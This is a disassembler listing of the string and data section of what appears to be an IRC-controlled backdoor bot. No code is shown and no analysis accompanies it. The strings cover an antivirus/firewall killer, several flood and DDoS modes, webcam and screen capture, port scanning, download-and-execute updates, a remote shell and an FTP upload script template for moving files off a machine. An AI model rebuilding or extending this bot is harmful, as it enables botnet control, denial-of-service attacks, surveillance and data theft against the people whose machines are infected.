dword_429230 dd 10h ; DATA XREF: sub_401ACD+AFBr
; sub_401ACD+B27r ...
aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042921Co
; ___:00429228o
align 4
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
align 4
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
align 4
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
align 4
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
align 4
a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o
dword_4292D0 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co
aFailedToStartS db '- Failed to start server, error: <%d>.',0
align 4
dword_429304 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o
aServerRunningO db '- Server running on Port: 113.',0
align 10h
unk_429330 db 2Dh ; - ; DATA XREF: ___:00401614o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 10h
unk_429370 db 2Dh ; - ; DATA XREF: ___:004015C3o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 4
dword_429394 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h
; DATA XREF: ___:00401585o
dd 2E646574h, 0
dword_4293B0 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_4293BC dd 255C7325h, 73h ; DATA XREF: ___:004013AAo
; sub_415A2F+7Eo
dword_4293C4 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo
; sub_40F6B3+EAo ...
unk_4293CC db 2Dh ; - ; DATA XREF: sub_4017ED+F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aConnectedToS_ db 'Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o
align 4
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
align 4
unk_429434 db 2Dh ; - ; DATA XREF: sub_401ACD+7F09o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedIn_ db 'User: %s logged in.',0
unk_429454 db 2Dh ; - ; DATA XREF: sub_401ACD+7EECo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPasswordAccept db 'Password accepted.',0
align 4
unk_429474 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedHostAuth db '*Failed host auth by: (%s!%s).',0
align 10h
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7E62o
align 4
unk_4294C8 db 2Dh ; - ; DATA XREF: sub_401ACD+7E24o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7E12o
; sub_401ACD+7E79o
align 10h
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7DFBo
align 4
asc_429548: ; DATA XREF: sub_401ACD+7DCBo
unicode 0, <~>,0
unk_42954C db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRandomNickChan db 'Random nick change: %s',0
align 10h
unk_429570 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnectingIn db 'Reconnecting in %s seconds',0
align 4
unk_429598 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC3o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnecting_0 db 'Reconnecting in %s ms',0
align 4
unk_4295BC db 2Dh ; - ; DATA XREF: sub_401ACD+7CA1o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0
align 10h
unk_4295E0 db 2Dh ; - ; DATA XREF: sub_401ACD+7C81o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0
align 4
unk_429604 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0
align 4
dword_429628 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h
; DATA XREF: sub_401ACD+7C3Ao
dd 2E732520h, 0
unk_429644 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409684o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 10h
unk_429670 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB0o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 4
unk_429694 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FCo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_4296BC db 2Dh ; - ; DATA XREF: sub_401ACD+7B25o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Bo
unk_4296E8 db 2Dh ; - ; DATA XREF: sub_401ACD+79FEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0
align 10h
unk_429710 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B2o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_429734 db 2Dh ; - ; DATA XREF: sub_401ACD+79DBo
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 4
unk_429754 db 2Dh ; - ; DATA XREF: sub_401ACD+79B7o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0
align 4
unk_42977C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409467o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 4
unk_4297A4 db 2Dh ; - ; DATA XREF: sub_401ACD+796Co
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_4297C4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FCo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
unk_4297F4 db 2Dh ; - ; DATA XREF: sub_401ACD+7925o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_429814 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409398o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
unk_429844 db 2Dh ; - ; DATA XREF: sub_401ACD+78C4o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 4
dword_429868 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: sub_401ACD+7884o
dd 27732527h, 2Eh
unk_429884 db 2Dh ; - ; DATA XREF: sub_401ACD+7802o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_4298A8 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401ACD+7785o
dd 0
unk_4298C0 db 2Dh ; - ; DATA XREF: sub_401ACD+7754o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0
align 10h
dword_429900 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah
; DATA XREF: sub_401ACD+76E5o
dd 2Eh
dword_429918 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_401ACD:loc_40913Fo
dd 746E6573h, 2Eh
unk_429934 db 2Dh ; - ; DATA XREF: sub_401ACD+766Bo
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
dword_429954 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: sub_401ACD+762Fo
dd 732520h
unk_42996C db 2Dh ; - ; DATA XREF: sub_401ACD+7610o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 4
asc_429998: ; DATA XREF: sub_401ACD+75F8o
; sub_40F6B3+FBo ...
dw 0Ah
unicode 0, <>,0
unk_42999C db 2Dh ; - ; DATA XREF: sub_401ACD+75CEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileFailed db 'Read file failed: %s',0
align 10h
unk_4299C0 db 2Dh ; - ; DATA XREF: sub_401ACD+75C1o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileComple db 'Read file complete: %s',0
align 4
unk_4299E4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Eo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0
align 4
unk_429A24 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409014o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0
unk_429A64 db 2Dh ; - ; DATA XREF: sub_401ACD+753Do
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aAmateurVideoSa db '- Amateur video saved to: %s.',0
align 10h
aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F86o
align 4
unk_429A98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F73o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_1 db '- Invalid parameters for webcam capture.',0
align 10h
unk_429AD0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Co
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_0 db '- Error while capturing from webcam.',0
align 4
unk_429B04 db 2Dh ; - ; DATA XREF: sub_401ACD+748Fo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aWebcamCaptureS db '- Webcam capture saved to: %s.',0
aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE5o
align 4
unk_429B38 db 2Dh ; - ; DATA XREF: sub_401ACD+740Bo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverListComp db '- Driver list complete.',0
align 10h
unk_429B60 db 2Dh ; - ; DATA XREF: sub_401ACD+73D8o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverDSS_ db '- Driver #%d - %s - %s.',0
align 4
aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E58o
unk_429B90 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E45o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aNoFilenameSpec db '- No filename specified for screen capture.',0
align 4
unk_429BCC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Eo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_1 db '- Error while capturing screen.',0
align 4
unk_429BFC db 2Dh ; - ; DATA XREF: sub_401ACD+7361o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aScreenCaptureS db '- Screen capture saved to: %s.',0
aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFDo
align 10h
dword_429C30 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh
; DATA XREF: sub_401ACD+7318o
dd 2E732520h, 0
unk_429C4C db 2Dh ; - ; DATA XREF: sub_401ACD+72D2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUnableToExtrac db 'Unable to extract Gethost command.',0
align 4
unk_429C7C db 2Dh ; - ; DATA XREF: sub_401ACD+72B6o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aGethostSComman db 'Gethost: %s, Command: %s',0
align 4
unk_429CA4 db 2Dh ; - ; DATA XREF: sub_401ACD+7209o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aAliasAddedS_ db 'Alias added: %s.',0
align 4
unk_429CC4 db 2Dh ; - ; DATA XREF: sub_401ACD+71D5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrivmsgSS_ db 'Privmsg: %s: %s.',0
align 4
unk_429CE4 db 2Dh ; - ; DATA XREF: sub_401ACD+7180o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aActionSS_ db 'Action: %s: %s.',0
dword_429D00 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h
; DATA XREF: sub_401ACD+710Eo
dword_429D14 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
; sub_401ACD+7C47o
unk_429D20 db 2Dh ; - ; DATA XREF: sub_401ACD+70AFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aModeChangeS db 'Mode change: %s',0
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Eo
align 4
dword_429D48 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_401ACD+7073o
dd 25203A29h, 73h
dword_429D64 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401ACD+7004o
dd 203A2973h, 7325h
dword_429D80 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FA9o
dword_429D88 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401ACD+6F79o
dd 203A2973h, 7325h
dword_429DA4 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_429DB0 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECEo
; sub_401ACD+6F57o ...
dword_429DB8 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E95o
dword_429DC0 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E84o
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_429DFC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E15o
aFloodingSForSS db '- Flooding %s for %s seconds.',0
align 4
unk_429E28 db 2Dh ; - ; DATA XREF: sub_401ACD+6D85o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Ao
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
unk_429E98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408745o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRepeatNotAllow db 'Repeat not allowed in command line: %s',0
align 4
dword_429ECC dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h
; DATA XREF: sub_401ACD+6C3Do
dd 7325h
dword_429EE4 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h
; DATA XREF: sub_401ACD:loc_408673o
dword_429EF8 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B62o
; sub_401ACD+6C14o ...
dword_429F08 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 10h
dword_429F50 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AF9o
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
dword_429F8C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Ao
aDownloadingUpd db '- Downloading update from: %s.',0
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E2o
align 4
dword_429FC4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401ACD+6980o
dd 7325203Ah, 0
unk_429FE0 db 2Dh ; - ; DATA XREF: sub_401ACD+6975o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
unk_42A004 db 2Dh ; - ; DATA XREF: sub_401ACD+68DBo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0
unk_42A040 db 2Dh ; - ; DATA XREF: sub_401ACD+6865o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 10h
dword_42A070 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Bo
; sub_401ACD:loc_409366o
unk_42A07C db 2Dh ; - ; DATA XREF: sub_401ACD+6789o
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 10h
unk_42A0A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408234o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 4
unk_42A0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+675Do
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A110 db 2Dh ; - ; DATA XREF: sub_401ACD+66EDo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_42A13C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Ao
aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0
align 4
dword_42A178 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FBo
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 4
unk_42A1A8 db 2Dh ; - ; DATA XREF: sub_401ACD+6582o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A1E0 db 2Dh ; - ; DATA XREF: sub_401ACD+6513o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 10h
unk_42A210 db 2Dh ; - ; DATA XREF: sub_401ACD+6489o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42A248 db 2Dh ; - ; DATA XREF: sub_401ACD+641Ao
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42A278 db 2Dh ; - ; DATA XREF: sub_401ACD+63A1o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A2B0 db 2Dh ; - ; DATA XREF: sub_401ACD+6332o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_42A2EC db 2Dh ; - ; DATA XREF: sub_401ACD+62B9o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0
align 4
unk_42A32C db 2Dh ; - ; DATA XREF: sub_401ACD+624Ao
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadingUrl db 'Downloading URL: %s to: %s.',0
unk_42A358 db 2Dh ; - ; DATA XREF: sub_401ACD+617Bo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+610Co
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A3D8 db 2Dh ; - ; DATA XREF: sub_401ACD+600Fo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0
align 4
aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F63o
align 4
aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E86o
align 4
dword_42A434 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF2o
; sub_401ACD+715Ao
unk_42A440 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Eo
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0
align 4
unk_42A47C db 2Dh ; - ; DATA XREF: sub_401ACD+5D1Fo
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 4
unk_42A4CC db 2Dh ; - ; DATA XREF: sub_401ACD+5C88o
; sub_401ACD+607Eo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0
align 4
unk_42A504 db 2Dh ; - ; DATA XREF: sub_401ACD+5C19o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
db 'inutes using %d threads.',0
align 4
unk_42A56C db 2Dh ; - ; DATA XREF: sub_401ACD+5AA3o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_9 db 'Failed to start scan, no IP specified.',0
align 10h
unk_42A5A0 db 2Dh ; - ; DATA XREF: sub_401ACD+5A46o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_10 db 'Failed to start scan, port is invalid.',0
align 4
unk_42A5D4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F3o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s failed.',0
align 4
unk_42A604 db 2Dh ; - ; DATA XREF: sub_401ACD+591Fo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s',0
align 4
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5906o
aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58EFo
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CCo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 10h
aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A8o
; ___:00411C61o
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5897o
align 4
unk_42A674 db 2Dh ; - ; DATA XREF: sub_401ACD+584Do
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 4
aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Ao
align 4
unk_42A69C db 2Dh ; - ; DATA XREF: sub_401ACD+57F4o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0
align 4
unk_42A6DC db 2Dh ; - ; DATA XREF: sub_401ACD+5797o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42A714 db 2Dh ; - ; DATA XREF: sub_401ACD+572Co
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
unk_42A75C db 2Dh ; - ; DATA XREF: sub_401ACD+567Bo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 10h
unk_42A790 db 2Dh ; - ; DATA XREF: sub_401ACD+5647o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_42A7C4 db 2Dh ; - ; DATA XREF: sub_401ACD+5623o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
